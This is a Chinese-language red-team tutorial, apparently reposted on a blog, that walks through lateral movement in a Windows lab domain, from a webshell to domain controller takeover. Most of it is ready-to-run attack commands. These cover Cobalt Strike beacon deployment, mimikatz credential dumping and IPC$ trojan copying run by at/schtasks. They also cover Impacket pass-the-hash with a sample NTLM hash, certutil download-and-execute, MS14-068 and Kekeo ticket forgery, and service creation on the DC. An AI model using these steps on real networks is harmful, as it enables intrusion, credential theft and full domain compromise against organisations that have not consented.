内网渗透之横向移动实战

news2026/5/24 1:05:06
在红队渗透测试中当我们通过 Web 渗透拿到边界服务器的权限后往往不会止步于此 —— 内部网络中还隐藏着更多的核心资产比如存储着企业所有账号信息的域控制器。而横向移动就是我们从边界主机出发一步步渗透到内网核心、最终拿下域控权限的核心技术。简单来说横向移动就是攻击者从一个受控主机迁移到内网中另一个主机的过程以已攻陷的主机作为跳板探测内网存活资产、收集用户凭据最终通过各种技术控制更多的远程机器直至获取核心机密数据。一、渗透环境说明在本次实战中我们面对的是一个典型的企业域环境webserver是整个网络唯一对外服务的主机只有它能够访问外网其余所有内网主机都无法出网仅支持域内通信整个域内的所有机器都由域控制器DC统一管理域控是我们的最终目标。目前我们已经通过 Web 渗透拿到了webserver的 Webshell 权限接下来我们将以此为起点完成整个内网横向渗透最终拿下域控权限。图 1内网横向渗透的网络拓扑我们以边界的 webserver 为跳板逐步渗透到内网核心二、前期准备上线与信息收集拿到 Webshell 之后我们的第一步是将主机上线到 Cobalt StrikeCS这样才能更方便地进行后续的内网操作。2.1 上线 CS Beacon首先我们通过 Webshell 上传 CS 生成的木马调用 webserver 主机运行木马让主机成功上线到 CS 的 Beacon 中此时我们就获得了这台主机的初步控制权限。2.2 域环境信息收集上线之后我们首先要做的就是摸清内网的环境收集足够的信息为后续的横向移动做准备判断是否为域环境首先我们需要确认当前主机是否加入了域这是域渗透的基础shell net time /domain如果命令成功返回了域的时间信息就说明当前主机处于域环境中。获取域控 IP 地址拿到域名之后我们可以通过 ping 命令解析出域控的 IP 地址shell ping OWA2010CN-God.god.org -4收集域内用户信息接下来我们可以收集整个域内的所有用户账号为后续的凭据利用做准备shell net user /domain内网资产扫描我们可以通过 CS 的插件扫描整个域内的网络、端口信息这些扫描结果会展示在 CS 的 #34;视图 - 目标#34; 栏目中帮助我们发现内网中存活的主机和开放的服务。 扫描中我们发现当前的 webserver 存在两个网段10\.0\.0\.0/24可以出网的边界网段192\.168\.3\.0/24无法出网的纯内网网段这就是我们接下来要渗透的目标网段2.3 提权与凭据收集要抓取内网的用户凭据我们需要先拿到主机的 System 权限因此我们需要先进行提权操作 我们可以使用 CS 的提权插件多次尝试后即可拿到 System 权限的会话此时我们就拥有了这台主机的最高权限。提权完成后我们就可以使用 mimikatz 插件抓取当前主机内存中的用户凭据了。原理说明在域环境中当域内的其他账号登录到这台主机时域验证的过程会将账号密码的哈希值暂存在主机的运行内存中mimikatz 就可以从内存中把这些凭据抓取出来。抓取完成后我们就可以在 CS 的 #34;凭据信息#34; 中看到所有在这台主机上登录过的账号、明文密码以及 NTLM 哈希值这些凭据就是我们后续横向移动的 #34;钥匙#34;。三、经典方案基于 IPC 的横向移动拿到凭据之后我们就可以开始横向移动了最经典的方式就是利用 IPC 连接来实现。3.1 什么是 IPC 连接IPCInternet Process Connection进程间通信是 Windows 提供的一种进程间通信技术通过它我们可以在两台主机之间建立通信连接而IPC$是 Windows 系统默认的隐藏共享专门用于进程间的通信。当我们通过账号密码和目标主机建立 IPC 连接之后就可以像操作本地主机一样访问远程主机的资源查看远程目录、复制文件、创建计划任务、启动系统服务等等这也是我们横向移动的基础。3.2 正向连接方式正向连接就是我们让目标主机开放一个端口我们主动去连接它具体步骤如下创建正向监听器首先在 CS 中创建一个正向连接的监听器用于接收目标主机的上线请求。生成正向木马基于这个正向监听器生成对应的木马文件保存到本地。建立 IPC 连接接下来我们使用之前收集到的管理员凭据和目标内网主机建立 IPC 连接有两种方式可以选择手动命令方式shell net use \\192.168.3.21\ipc$ Admin12345 /user:god.org\administrator插件方式直接使用 CS 的横向移动插件输入目标 IP 和账号密码一键建立连接。上传并复制木马我们先把生成的正向木马上传到当前的 webserver然后通过 IPC 连接把木马复制到目标主机的 C 盘下shell copy 4444.exe \\192.168.3.21\c$创建计划任务运行木马接下来我们查看目标主机的当前时间然后创建计划任务让目标主机在指定时间运行我们的木马对于 Windows2012 之前的系统使用at命令# 查看当前时间 shell net time # 创建计划任务12:51运行木马 shell at \\192.168.3.21 12:51 c:\4444.exe对于 Windows2012 及之后的系统使用schtasks命令shell schtasks /create /s 192.168.3.21 /ru SYSTEM /tn beacon /sc DAILY /tr c:\4444.exe /F连接目标主机完成上线等到计划任务的时间到了木马就会在目标主机上运行开放正向的连接端口我们只需要在 CS 中连接这个端口目标主机就成功上线了connect 192.168.3.21 44443.3 反向连接方式反向连接则是反过来让目标主机主动连接我们的受控主机这种方式更适合内网的防火墙限制具体步骤如下配置代理转发在 CS 的提权会话中选择 #34;代理转发 - 转发上线#34; 模块设置转发的 IP 为当前 webserver 的内网 IP因为目标主机是内网主机只能访问内网 IP。生成反向木马基于这个转发的监听器生成反向的木马文件5555\.exe。复制木马到目标主机和正向连接一样我们先把木马上传到 webserver然后通过 IPC 连接复制到目标主机的 C 盘shell copy 5555.exe \\192.168.3.21\c$创建计划任务运行木马同样我们创建计划任务让目标主机运行木马shell net time shell at \\192.168.3.21 12:20 c:\5555.exe等待上线木马运行后会主动反向连接我们的 webserver 的内网 IP然后通过 CS 的代理转发最终上线到我们的 CS 服务器这样就完成了反向的横向移动。四、高效方案Impacket 工具套件的横向渗透手动的 IPC 连接步骤比较繁琐在实战中我们更常用 Impacket 这个工具包它可以帮我们更高效地完成横向移动。4.1 什么是 ImpacketImpacket 是一个开源的网络协议工具包它实现了大量的 Windows 通信协议比如 SMB、MSRPC、WMI、LDAP 等等是红队人员做域渗透最常用的工具之一。 Impacket 的工具原本是 Python 脚本不过我们也可以把它打包成 exe 可执行文件方便在 Windows 主机上运行。图 2Impacket 工具的命令行使用效果4.2 上传工具的使用方式最基础的使用方式是把 Impacket 的工具上传到我们的受控 webserver 上然后调用它来执行命令上传工具我们把打包好的atexec\.exe上传到 webserver 上。执行远程命令然后我们就可以用它来连接目标内网主机执行任意命令既支持明文密码也支持哈希值Pass the Hash# 明文密码方式 shell atexec.exe god/administrator:Admin12345192.168.3.21 whoami # 哈希值方式不需要明文密码 shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator192.168.3.21 whoami下载并运行木马接下来我们把 CS 的木马上传到 webserver 的网站根目录然后用 atexec 让目标主机下载并运行木马# 让目标主机从webserver下载木马 shell atexec.exe god/administrator:Admin12345192.168.3.21 certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe fan.exe # 运行木马完成上线 shell atexec.exe god/administrator:Admin12345192.168.3.21 fan.exe4.3 更优雅的方式代理转发 本地执行上传工具的方式有个缺点需要上传文件容易被杀毒软件发现。其实我们可以用 CS 的 SOCKS 代理转发直接在我们的本地攻击机上运行 Impacket 工具不需要上传任何文件到目标主机步骤非常简单在 CS 中开启 SOCKS 代理把内网的流量转发到我们的本地。在本地配置代理让我们的攻击机可以通过这个代理访问内网的主机。直接在本地的命令行运行 Impacket 工具就像目标内网主机就在我们本地一样atexec.exe god/administrator:Admin12345192.168.3.21 whoami这种方式完全不需要上传任何文件到目标主机更加隐蔽也是实战中最常用的方式。4.4 Impacket 的三个经典横向工具除了 atexecImpacket 还提供了三个非常常用的横向工具都可以通过哈希值直接连接目标主机不需要明文密码[psexec.py](psexec.py)最经典的横向工具通过 SMB 协议在远程主机上创建服务执行命令连接成功后会直接返回目标主机的命令行python3 psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator192.168.3.21[smbexec.py](smbexec.py)和 psexec 类似同样通过 SMB 协议不过它不需要创建新的服务更加隐蔽连接后同样返回命令行python3 smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator192.168.3.21[wmiexe.py](wmiexe.py)通过 WMI 协议执行远程命令WMI 是 Windows 的标准管理协议很多防火墙都不会拦截因此隐蔽性更强python3 wmiexe.py -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator192.168.3.21拿到目标主机的命令行之后我们只需要像之前一样把 CS 的木马下载到目标主机运行就可以让目标主机上线到 CS 了完成横向移动。五、无密码方案票据传递PTT横向渗透如果我们没有拿到管理员的明文密码甚至连哈希值都没有那是不是就没办法横向了当然不是我们还可以用 \\票据传递Pass the TicketPTT\\技术利用 Kerberos 的票据来实现横向甚至不需要管理员权限。5.1 Kerberos 协议基础要理解票据传递我们首先要了解 Kerberos 协议它是 Windows 域环境默认的认证协议相当于域环境的 #34;登录凭证系统#34;。图 3Kerberos 协议的认证流程Kerberos 的认证流程分为三个步骤AS 认证客户端带着用户的密码哈希向 KDC密钥分发中心也就是域控的 AS 服务请求 TGT 票据AS 验证通过后会给客户端返回一个 TGT票据授予票据这个票据用来证明用户的身份有效期默认 10 小时。TGS 认证当客户端要访问某个服务的时候带着 TGT 向 TGS 服务请求 ST 服务票据TGS 验证通过后返回对应的 ST 票据。服务认证客户端带着 ST 票据访问目标服务服务验证 ST 通过后就允许客户端访问不需要再输入密码。简单来说TGT 就像是域里的 #34;身份证#34;只要你有这个身份证你就可以访问域里的所有资源不需要再输入密码。而票据传递就是我们伪造或者窃取这个 #34;身份证#34;用来冒充管理员访问域控。除此之外票据攻击还有两个经典的类型黄金票据用域内krbtgt账号的 NTLM Hash 加密伪造的 TGT 票据拥有整个域的最高权限可以访问任何资源。白银票据用服务账号的 NTLM Hash 加密伪造的 ST 票据只能访问特定的服务更加隐蔽。5.2 方法一利用 MS14-068 漏洞伪造票据MS14-068 是域控 KDC 服务的一个漏洞攻击者可以利用这个漏洞伪造一个管理员权限的 TGT 票据直接拿到域控的权限步骤如下获取当前用户的 SID首先我们查看当前用户的 SIDshell whoami /user生成伪造的票据我们使用 MS14-068 的工具用当前用户的信息伪造一个管理员权限的票据MS14-068.exe -u webadmingod.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!#45清除原有票据为了避免原有票据的影响我们先清除当前主机上所有的缓存票据# 查看当前票据 shell klist # 清除所有票据 shell klist purge导入伪造的票据然后我们用 mimikatz 把我们生成的伪造票据导入到当前主机的内存中mimikatz kerberos::ptc TGT_webadmingod.org.ccache # 查看导入后的票据 shell klist利用票据访问域控导入完成后我们就可以用这个伪造的票据直接访问域控的 C 盘共享就像域管理员一样shell dir \\owa2010cn-god\c$接下来我们就可以把木马复制到域控创建服务运行木马拿下域控的权限shell copy 5555.exe \\OWA2010CN-God\c$ shell sc \\OWA2010CN-God create bindshe binpath c:\5555.exe shell sc \\OWA2010CN-God start bindshe当然这个方法的前提是域控没有打 MS14-068 的补丁现在大部分企业的主机都已经修复了这个漏洞。5.3 方法二利用 Kekeo 工具生成票据如果我们拿到了管理员的 NTLM 哈希我们还可以用 Kekeo 工具直接生成对应的 TGT 票据不需要漏洞上传 Kekeo 工具把 Kekeo 工具上传到受控的 webserver。生成票据用我们收集到的管理员的哈希值生成对应的 TGT 票据shell kekeo tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7 test清除原有票据导入新票据同样我们先清除原有票据然后把生成的票据导入内存shell klist purge shell kekeo kerberos::ptt TGT_AdministratorGOD.ORG_krbtgt~god.orgGOD.ORG.kirbi test访问域控导入完成后我们就可以直接访问域控的资源了shell dir \\owa2010cn-god\c$这个方法的前提是我们拿到了正确的管理员 NTLM 哈希只要哈希正确票据就可以正常使用。5.4 方法三利用 mimikatz 导出历史票据最简单的方法如果域管理员之前登录过我们的受控主机那主机的内存里就会缓存管理员的票据我们直接把这个票据导出来用就可以了导出所有票据我们用 mimikatz 把当前主机上所有的登录票据都导出来mimikatz sekurlsa::tickets /export选择管理员的票据在导出的文件中我们找到域管理员的票据。导入票据清除原有票据然后把管理员的票据导入到当前内存中shell klist purge mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;3e7]-0-0-40a40000-webadminldap-OWA2010CN-God.god.org.kirbi访问域控然后我们就可以直接用这个票据访问域控了shell dir \\owa2010cn-god\c$这个方法非常简单但是有两个限制一是域管理员必须登录过这台主机二是票据还在有效期内默认 10 小时有点看运气。六、总结内网横向移动是域渗透的核心环节从边界的 Webshell 到最终的域控权限我们有很多种不同的方法可以选择IPC 连接最经典的手动方式适合理解横向移动的基础原理但是步骤繁琐。Impacket 工具包实战中最高效的方式支持 Pass the Hash配合 SOCKS 代理可以做到无文件攻击隐蔽性极强。票据传递PTT无明文密码情况下的解决方案利用 Kerberos 的票据绕过密码验证在无法获取密码哈希的场景下非常有用。在实际的渗透测试中我们会根据目标的环境灵活选择不同的方法一步步从边界主机渗透到内网的核心最终拿下整个域的控制权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2639365.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…